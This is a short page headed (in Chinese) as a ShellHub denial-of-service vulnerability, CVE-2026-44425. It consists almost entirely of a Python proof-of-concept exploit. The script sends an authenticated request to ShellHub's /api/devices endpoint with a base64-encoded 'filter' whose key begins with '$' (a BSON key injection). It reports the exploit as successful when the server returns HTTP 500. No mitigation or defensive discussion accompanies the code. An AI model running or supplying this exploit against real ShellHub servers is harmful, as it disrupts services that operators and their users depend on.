CVE-2026-44425 ShellHub拒绝服务漏洞

import requests import base64 import json def exploit_shellhub_dos(target_url, token): """ PoC for CVE-2026-44425 Exploits the lack of validation in the 'filter' parameter. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload targeting the BSON key injection # Injecting a '$' into a key name often causes parsing issues if not validated malicious_payload = { "name": "$invalid_operator" } # Encode payload to base64 as required by the API encoded_payload = base64.b64encode(json.dumps(malicious_payload).encode()).decode() params = { "filter": encoded_payload } try: print(f"[+] Sending malicious request to {target_url}/api/devices...") response = requests.get(f"{target_url}/api/devices", headers=headers, params=params) if response.status_code == 500: print("[+] Exploit successful! Server returned HTTP 500 (Internal Server Error).") print("[+] The service is likely experiencing a Denial of Service.") else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and token TARGET = "http://localhost:8080" TOKEN = "valid_user_token" exploit_shellhub_dos(TARGET, TOKEN)